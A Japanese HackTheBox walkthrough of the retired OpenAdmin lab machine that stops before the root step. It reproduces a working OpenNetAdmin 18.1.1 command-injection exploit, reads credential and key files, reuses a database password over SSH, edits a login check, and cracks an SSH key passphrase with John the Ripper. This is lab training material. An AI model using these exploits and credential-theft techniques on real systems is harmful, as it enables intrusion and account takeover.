HTB OpenAdmin Walkthrough
振り返り的な用途で、攻撃プロセスを書き出す。
※ HackTheBoxのOpenAdminマシンに対するネタバレになるので、挑戦予定の方は🙅♂️
※ RetiredになったマシンのみWalkthroughの公開は可能です。
概要
https://www.hackthebox.eu/home/machines/profile/222
10.10.10.171
Machineの概要を見てみると、Enumeration/CVE/CTF-Like
が必要とされている。
どれだけ網羅的にスキャンできて、稼働しているサービスの脆弱性を発見できるかと、CTFライクな競技スキルが問われる。
偵察
Nmap Scan
一番最初にやるべきは、対象ホストにてどのようなサービスが稼働しているかの確認。
# nmap -A 10.10.10.171
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-27 02:29 JST Nmap scan report for 10.10.10.171 Host is up (0.18s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA) | 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA) |_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=2/27%OT=22%CT=1%CU=30443%PV=Y%DS=2%DC=T%G=Y%TM=5E56AB4 OS:8%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%TS=C)SEQ(SP=1 OS:05%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O OS:3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2= OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSN OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 3389/tcp) HOP RTT ADDRESS 1 246.65 ms 10.10.14.1 2 246.79 ms 10.10.10.171 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 56.67 seconds
脆弱性情報検索
Googleで Apache 2.4.29 exploit
で検索をかけて、リモートコード実行の脆弱性があるか調べる。一通り目を通したが、それらしき脆弱性は見当たらないので、CVE Detailsにて 2.4.29
の脆弱性一覧を眺めてみる。
一覧に CVSS7.2 の ExecCode が存在しているので、CVE番号で実行可能条件などの詳細情報を調べてみる。
この脆弱性は Apache HTTP Server が再起動を行う際に、子プロセスの境界値チェックが行われていないことにより発生します。これにより、システム上で権限昇格を行うことが可能となります。 攻撃者がこの脆弱性を利用するためには、システムへの有効なログオン情報が必要になります。
https://www.softbanktech.co.jp/special/cve/2019/0001/
https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php
今回は使えなそう。
OpenSSH 7.6p1
はどうだろうか。
- CVE Details Openssh-7.6
こちらもダメそう。
公開ページの調査
公開ページのTOPを見てみるが、デフォルトページが出ているだけで何もなさそう。
他にあるだろ?と言うことで、DirBuster
を使って公開ページやディレクトリを調べてみる。
すると、気になるページがちらほら出てきたので、アクセスしてみる。
OpenNetAdmin
とは、IPネットワークのインベントリを管理するデータベースを提供してくれるソフトウェア。
http://opennetadmin.com/
で、このOpenNetAdmin
を調べてみると v18.1.1
には Command Injection Exploit
の脆弱性があるらしい。
- https://www.exploit-db.com/exploits/47772
- https://packetstormsecurity.com/files/155406/OpenNetAdmin-18.1.1-Remote-Code-Execution.html
侵入
OpenNetAdmin-18.1.1 Exploit
packetstormから攻撃用コードをダウンロードする。
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution # Date: 2019-11-19 # Exploit Author: mattpascoe # Vendor Homepage: http://opennetadmin.com/ # Software Link: https://github.com/opennetadmin/ona # Version: v18.1.1 # Tested on: Linux # Exploit Title: OpenNetAdmin v18.1.1 RCE # Date: 2019-11-19 # Exploit Author: mattpascoe # Vendor Homepage: http://opennetadmin.com/ # Software Link: https://github.com/opennetadmin/ona # Version: v18.1.1 # Tested on: Linux #!/bin/bash URL="${1}" while true;do echo -n "$ "; read cmd curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 done
エクスプロイト実行
# sh open-admin-exploit.sh
ピボッティング
www-data
すんなり侵入することができたので、まずは自分が何者で、今居る場所やホームディレクトリについての情報を収集する。
$ pwd /opt/ona/www $ ls -al total 72 drwxrwxr-x 10 www-data www-data 4096 Nov 22 17:17 . drwxr-x--- 7 www-data www-data 4096 Nov 21 18:23 .. -rw-rw-r-- 1 www-data www-data 1970 Jan 3 2018 .htaccess.example drwxrwxr-x 2 www-data www-data 4096 Jan 3 2018 config -rw-rw-r-- 1 www-data www-data 1949 Jan 3 2018 config_dnld.php -rw-rw-r-- 1 www-data www-data 4160 Jan 3 2018 dcm.php drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 images drwxrwxr-x 9 www-data www-data 4096 Jan 3 2018 include -rw-rw-r-- 1 www-data www-data 1999 Jan 3 2018 index.php drwxrwxr-x 5 www-data www-data 4096 Jan 3 2018 local -rw-rw-r-- 1 www-data www-data 4526 Jan 3 2018 login.php -rw-rw-r-- 1 www-data www-data 1106 Jan 3 2018 logout.php drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 modules drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 plugins drwxrwxr-x 2 www-data www-data 4096 Jan 3 2018 winc drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 workspace_plugins
ユーザ情報を確認する
$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
passwdファイル確認
$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false joanna:x:1001:1001:,,,:/home/joanna:/bin/bash
groupファイル確認
$ cat /etc/group root:x:0: daemon:x:1: bin:x:2: sys:x:3: adm:x:4:syslog tty:x:5: disk:x:6: lp:x:7: mail:x:8: news:x:9: uucp:x:10: man:x:12: proxy:x:13: kmem:x:15: dialout:x:20: fax:x:21: voice:x:22: cdrom:x:24: floppy:x:25: tape:x:26: sudo:x:27: audio:x:29: dip:x:30: www-data:x:33: backup:x:34: operator:x:37: list:x:38: irc:x:39: src:x:40: gnats:x:41: shadow:x:42: utmp:x:43: video:x:44: sasl:x:45: plugdev:x:46: staff:x:50: games:x:60: users:x:100: nogroup:x:65534: systemd-journal:x:101: systemd-network:x:102: systemd-resolve:x:103: input:x:104: crontab:x:105: syslog:x:106: messagebus:x:107: lxd:x:108: mlocate:x:109: uuidd:x:110: ssh:x:111: landscape:x:112: jimmy:x:1000: ssl-cert:x:113: mysql:x:114: joanna:x:1001: internal:x:1002:jimmy,joanna netdev:x:115:
ホームディレクトリを確認する
$ ls -al /var/www total 16 drwxr-xr-x 4 root root 4096 Nov 22 18:15 . drwxr-xr-x 14 root root 4096 Nov 21 14:08 .. drwxr-xr-x 6 www-data www-data 4096 Nov 22 15:59 html drwxrwx--- 2 jimmy internal 4096 Nov 23 17:43 internal lrwxrwxrwx 1 www-data www-data 12 Nov 21 16:07 ona -> /opt/ona/www
雰囲気でふむふむしつつ、www-data
はWEB公開用のユーザだから権限が弱く、できることが少なそうなので強権限のユーザを探す。
(たまに、rootユーザでhttpdを起動する事例を見かけるが、こう言う攻撃をしてみると改めて恐ろしいなと思う・・)
ここからは、閲覧権限のあるディレクトリを地道に調査していく。中々泥臭く骨の折れる作業。
慣れないときは、ここで挫折することが多々あった。
ホームディレクトリ配下の html
ディレクトリを探索。特に情報なし。
$ find /var/www/html
最初に降り立ったディレクトリを探索してみる。
$ find . ./local/config/database_settings.inc.php ...
何やら心躍る名前のファイルを発見したので、中身を見てみる。
$ cat ./local/config/database_settings.inc.php
<?php $ona_contexts=array ( 'DEFAULT' => array ( 'databases' => array ( 0 => array ( 'db_type' => 'mysqli', 'db_host' => 'localhost', 'db_login' => 'ona_sys', 'db_passwd' => 'n1nj4W4rri0R!', 'db_database' => 'ona_default', 'db_debug' => false, ), ), 'description' => 'Default data context', 'context_color' => '#D3DBFF', ), );
データベースの接続先情報が丸見えになっている。DBはMySQLなので、クライアントからアクセスしてみる。
$ MYSQL_PWD=n1nj4W4rri0R! mysql -h localhost -u ona_sys ona_default -e "select TABLE_NAME from INFORMATION_SCHEMA.TABLES;" TABLE_NAME CHARACTER_SETS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES ENGINES EVENTS FILES GLOBAL_STATUS GLOBAL_VARIABLES KEY_COLUMN_USAGE OPTIMIZER_TRACE PARAMETERS PARTITIONS PLUGINS PROCESSLIST PROFILING REFERENTIAL_CONSTRAINTS ROUTINES SCHEMATA SCHEMA_PRIVILEGES SESSION_STATUS SESSION_VARIABLES STATISTICS TABLES TABLESPACES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS INNODB_LOCKS INNODB_TRX INNODB_SYS_DATAFILES INNODB_FT_CONFIG INNODB_SYS_VIRTUAL INNODB_CMP INNODB_FT_BEING_DELETED INNODB_CMP_RESET INNODB_CMP_PER_INDEX INNODB_CMPMEM_RESET INNODB_FT_DELETED INNODB_BUFFER_PAGE_LRU INNODB_LOCK_WAITS INNODB_TEMP_TABLE_INFO INNODB_SYS_INDEXES INNODB_SYS_TABLES INNODB_SYS_FIELDS INNODB_CMP_PER_INDEX_RESET INNODB_BUFFER_PAGE INNODB_FT_DEFAULT_STOPWORD INNODB_FT_INDEX_TABLE INNODB_FT_INDEX_CACHE INNODB_SYS_TABLESPACES INNODB_METRICS INNODB_SYS_FOREIGN_COLS INNODB_CMPMEM INNODB_BUFFER_POOL_STATS INNODB_SYS_COLUMNS INNODB_SYS_FOREIGN INNODB_SYS_TABLESTATS blocks configuration_types configurations custom_attribute_types custom_attributes dcm_module_list device_types devices dhcp_failover_groups dhcp_option_entries dhcp_options dhcp_pools dhcp_server_subnets dns dns_server_domains dns_views domains group_assignments groups host_roles hosts interface_clusters interfaces locations manufacturers messages models ona_logs permission_assignments permissions roles sequences sessions subnet_types subnets sys_config tags users vlan_campuses vlans
テーブル一覧の中で users
テーブルの存在が気になるのでSELECTする。
$ MYSQL_PWD=n1nj4W4rri0R! mysql -h localhost -u ona_sys ona_default -e "select * from users"$ $ id username password level ctime atime 1 guest 098f6bcd4621d373cade4e832627b4f6 0 2020-02-28 05:19:51 2020-02-28 05:19:51 2 admin 21232f297a57a5a743894a0e4a801fc3 0 2007-10-30 03:00:17 2007-12-02 22:10:26
パスワードはハッシュ化されているので、すぐに利用できる情報ではなさそうだ。一旦諦める。 (平文のまま保管してセキュリティ事故に繋がる事例もあるが、ここは違うらしい)
そいえばホームディレクトリに internal
とかいうディレクトリがあったのを思い出した。
後述するが、このディレクトリ内には如何にもCTFチックな、あるユーザの秘密鍵が見れるようなPHPファイルが存在している。
jimmy
権限のディレクトリだが、データベースの接続先以上の情報が見つけられなかったので、ダメもとでパスワードを流用してみる。
root@kali-linux:~/sandbox# ssh jimmy@10.10.10.171 jimmy@10.10.10.171's password: n1nj4W4rri0R! Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Feb 28 05:24:50 UTC 2020 System load: 0.1 Processes: 125 Usage of /: 50.5% of 7.81GB Users logged in: 1 Memory usage: 30% IP address for ens160: 10.10.10.171 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 41 packages can be updated. 12 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Thu Jan 2 20:50:03 2020 from 10.10.14.3 jimmy@openadmin:~$
奇跡的にログインできた。 (パスワードの流用は危険ですね)
jimmy
jimmy
の情報を確認する
jimmy@openadmin:~$ id uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
何かroot
権限で実行できるかと思ったが何もできなそう。
jimmy@openadmin:~$ sudo -l [sudo] password for jimmy:
internal
ディレクトリに移動する。
jimmy@openadmin:/$ cd /var/www/internal/ jimmy@openadmin:/var/www/internal$ ls -al total 20 drwxrwx--- 2 jimmy internal 4096 Nov 23 17:43 . drwxr-xr-x 4 root root 4096 Nov 22 18:15 .. -rwxrwxr-x 1 jimmy internal 3229 Nov 22 23:24 index.php -rwxrwxr-x 1 jimmy internal 185 Nov 23 16:37 logout.php -rwxrwxr-x 1 jimmy internal 339 Nov 23 17:40 main.php
PHPファイルを開く。
$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; # Open Admin Trusted # OpenAdmin $output = shell_exec('cat /home/joanna/.ssh/id_rsa'); echo "<pre>$output</pre>"; ?> <html> <h3>Don't forget your "ninja" password</h3> Click here to logout <a href="logout.php" tite = "Logout">Session </html>
$ cat index.php
<?php ob_start(); session_start(); ?> <? // error_reporting(E_ALL); // ini_set("display_errors", 1); ?> <html lang = "en"> <head> <title>Tutorialspoint.com</title> <link href = "css/bootstrap.min.css" rel = "stylesheet"> <style> body { padding-top: 40px; padding-bottom: 40px; background-color: #ADABAB; } .form-signin { max-width: 330px; padding: 15px; margin: 0 auto; color: #017572; } .form-signin .form-signin-heading, .form-signin .checkbox { margin-bottom: 10px; } .form-signin .checkbox { font-weight: normal; } .form-signin .form-control { position: relative; height: auto; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; padding: 10px; font-size: 16px; } .form-signin .form-control:focus { z-index: 2; } .form-signin input[type="email"] { margin-bottom: -1px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; border-color:#017572; } .form-signin input[type="password"] { margin-bottom: 10px; border-top-left-radius: 0; border-top-right-radius: 0; border-color:#017572; } h2{ text-align: center; color: #017572; } </style> </head> <body> <h2>Enter Username and Password</h2> <div class = "container form-signin"> <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2> <?php $msg = ''; if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) { if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') { $_SESSION['username'] = 'jimmy'; header("Location: /main.php"); } else { $msg = 'Wrong username or password.'; } } ?> </div> <!-- /container --> <div class = "container"> <form class = "form-signin" role = "form" action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method = "post"> <h4 class = "form-signin-heading"><?php echo $msg; ?></h4> <input type = "text" class = "form-control" name = "username" required autofocus></br> <input type = "password" class = "form-control" name = "password" required> <button class = "btn btn-lg btn-primary btn-block" type = "submit" name = "login">Login</button> </form> </div> </body> </html>
これらのPHPファイルが意味することは、index.php
にて正しいユーザ名とパスワードを入力すると、セッションに情報を保持するのでその足で main.php
を見にいくと joanna
の秘密鍵が手に入りますよと言うことらしい。実にCTFチック。
ポートスキャンをかけたときは80
番ポート意外空いてなかったけど、ファイアウォールでブロックしているのだろうか。
名前も internal
だし。確認するためにApache2の設定を確認する。
jimmy@openadmin:/var/www/internal$ cd /etc/apache2/ jimmy@openadmin:/etc/apache2$ ls -al total 88 drwxr-xr-x 8 root root 4096 Nov 21 14:08 . drwxr-xr-x 93 root root 4096 Jan 2 13:46 .. -rw-r--r-- 1 root root 7224 Sep 16 12:58 apache2.conf drwxr-xr-x 2 root root 4096 Nov 21 14:08 conf-available drwxr-xr-x 2 root root 4096 Nov 21 14:08 conf-enabled -rw-r--r-- 1 root root 1782 Jul 16 2019 envvars -rw-r--r-- 1 root root 31063 Jul 16 2019 magic drwxr-xr-x 2 root root 12288 Nov 22 22:32 mods-available drwxr-xr-x 2 root root 4096 Nov 22 22:32 mods-enabled -rw-r--r-- 1 root root 320 Jul 16 2019 ports.conf drwxr-xr-x 2 root root 4096 Nov 23 17:13 sites-available drwxr-xr-x 2 root root 4096 Nov 22 18:35 sites-enabled
VirtualHostの設定を確認する。
jimmy@openadmin:/etc/apache2$ cd sites-available/ jimmy@openadmin:/etc/apache2/sites-available$ ls default-ssl.conf internal.conf openadmin.conf jimmy@openadmin:/etc/apache2/sites-available$ cat internal.conf Listen 127.0.0.1:52846 <VirtualHost 127.0.0.1:52846> ServerName internal.openadmin.htb DocumentRoot /var/www/internal <IfModule mpm_itk_module> AssignUserID joanna joanna </IfModule> ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>
127.0.0.1:52846
のアクセスは internal
に飛ばすようだ。
jimmy@openadmin:/etc/apache2/sites-available$ cat openadmin.conf <VirtualHost *:80> # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. ServerName openadmin.htb ServerAdmin jimmy@openadmin.htb DocumentRoot /var/www/html # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf </VirtualHost> # vim: syntax=apache ts=4 sw=4 sts=4 sr noet
80
番ポートの方は、普通に html
ディレクトリに飛ばす。
自ホストからアクセスできることをcurl
で確認。
$ curl http://127.0.0.1:52846/index.php
問題なさそうなので、必要な情報を設定してPOSTする。
jimmy@openadmin:~$ curl -i -X POST -d "login=1&username=jimmy&password=n1nj4W4rri0R!" http://127.0.0.1:52846/index.php HTTP/1.1 200 OK Date: Fri, 28 Feb 2020 07:43:18 GMT Server: Apache/2.4.29 (Ubuntu) Set-Cookie: PHPSESSID=tlg1egl4mepng6dgal76pnveog; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 2546 Content-Type: text/html; charset=UTF-8 <? // error_reporting(E_ALL); // ini_set("display_errors", 1); ?> <html lang = "en"> <head> <title>Tutorialspoint.com</title> <link href = "css/bootstrap.min.css" rel = "stylesheet"> <style> body { padding-top: 40px; padding-bottom: 40px; background-color: #ADABAB; } .form-signin { max-width: 330px; padding: 15px; margin: 0 auto; color: #017572; } .form-signin .form-signin-heading, .form-signin .checkbox { margin-bottom: 10px; } .form-signin .checkbox { font-weight: normal; } .form-signin .form-control { position: relative; height: auto; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; padding: 10px; font-size: 16px; } .form-signin .form-control:focus { z-index: 2; } .form-signin input[type="email"] { margin-bottom: -1px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; border-color:#017572; } .form-signin input[type="password"] { margin-bottom: 10px; border-top-left-radius: 0; border-top-right-radius: 0; border-color:#017572; } h2{ text-align: center; color: #017572; } </style> </head> <body> <h2>Enter Username and Password</h2> <div class = "container form-signin"> <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2> </div> <!-- /container --> <div class = "container"> <form class = "form-signin" role = "form" action = "/index.php" method = "post"> <h4 class = "form-signin-heading">Wrong username or password.</h4> <input type = "text" class = "form-control" name = "username" required autofocus></br> <input type = "password" class = "form-control" name = "password" required> <button class = "btn btn-lg btn-primary btn-block" type = "submit" name = "login">Login</button> </form> </div> </body> </html>
Wrong username or password.
で失敗する。パスワードが違うのだろうか。
何回か試してみたけどダメだったが、冷静に考えてみると権限的にPHPファイルを編集できるので、以下のように書き換えてしまう。
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) ==
---
if ($_POST['username'] == 'jimmy' || hash('sha512',$_POST['password']) ==
もう一度投げる
jimmy@openadmin:/var/www/internal$ curl -i -X POST -d "login=1&username=jimmy&password=n1nj4W4rri0R!" http://127.0.0.1:52846/index.php HTTP/1.1 302 Found Date: Fri, 28 Feb 2020 07:45:17 GMT Server: Apache/2.4.29 (Ubuntu) Set-Cookie: PHPSESSID=ggoqfum2pn6riaj0c7s0a3lu1d; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: /main.php Content-Length: 2519 Content-Type: text/html; charset=UTF-8
Location: /main.php
がセットされている。成功した模様。
本丸のmain.php
にGETリクエストを投げる。
jimmy@openadmin:/var/www/internal$ curl http://127.0.0.1:52846/main.php <pre>-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8 ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE 6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI 9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4 piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/ /U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH 40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb 9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80 X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr 1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2 XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79 yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM +4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN -----END RSA PRIVATE KEY----- </pre><html> <h3>Don't forget your "ninja" password</h3> Click here to logout <a href="logout.php" tite = "Logout">Session </html>
無事秘密鍵が取得できたので、<pre>
の中身をファイルに保存してssh
してみる。
joanna
# ssh -i joanna.id_rsa joanna@10.10.10.171 Enter passphrase for key 'joanna.id_rsa':
パスフレーズが必要でした。
SecListsのrockyou.txt
を使ってJohn the Ripper
で解析する。
John
に秘密鍵のパスフレーズを解析させる場合は、ssh2johnでハッシュ化しとく必要があるので、ダウンロードしとく。
# python ssh2john.py joanna.id_rsa > joanna.id_rsa.hash
# john --wordlist=./SecLists/Passwords/Leaked-Databases/rockyou.txt joanna.id_rsa.hash
Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status bloodninjas (joanna.id_rsa) Warning: Only 1 candidates left, minimum 2 needed for performance. 1g 0:00:00:07 DONE (2020-02-28 16:50) 0.1336g/s 1917Kp/s 1917Kc/s 1917KC/s *7¡Vamos! Session completed
Success: bloodninjas
joanna
でログイン。
root@kali-linux:~/sandbox# ssh -i joanna.id_rsa joanna@10.10.10.171 Enter passphrase for key 'joanna.id_rsa': bloodninjas Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Feb 28 08:00:17 UTC 2020 System load: 0.08 Processes: 155 Usage of /: 49.9% of 7.81GB Users logged in: 2 Memory usage: 32% IP address for ens160: 10.10.10.171 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 41 packages can be updated. 12 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Fri Feb 28 07:35:05 2020 from 10.10.15.122 joanna@openadmin:~$
ホームディレクトリにuser.txt
を発見。
joanna@openadmin:~$ ls user.txt joanna@openadmin:~$ cat user.txt c9b2cf07d40807e62af626xxxxxxxxxx
joanna
の情報をみる
joanna@openadmin:~$ id uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
sudoの確認。
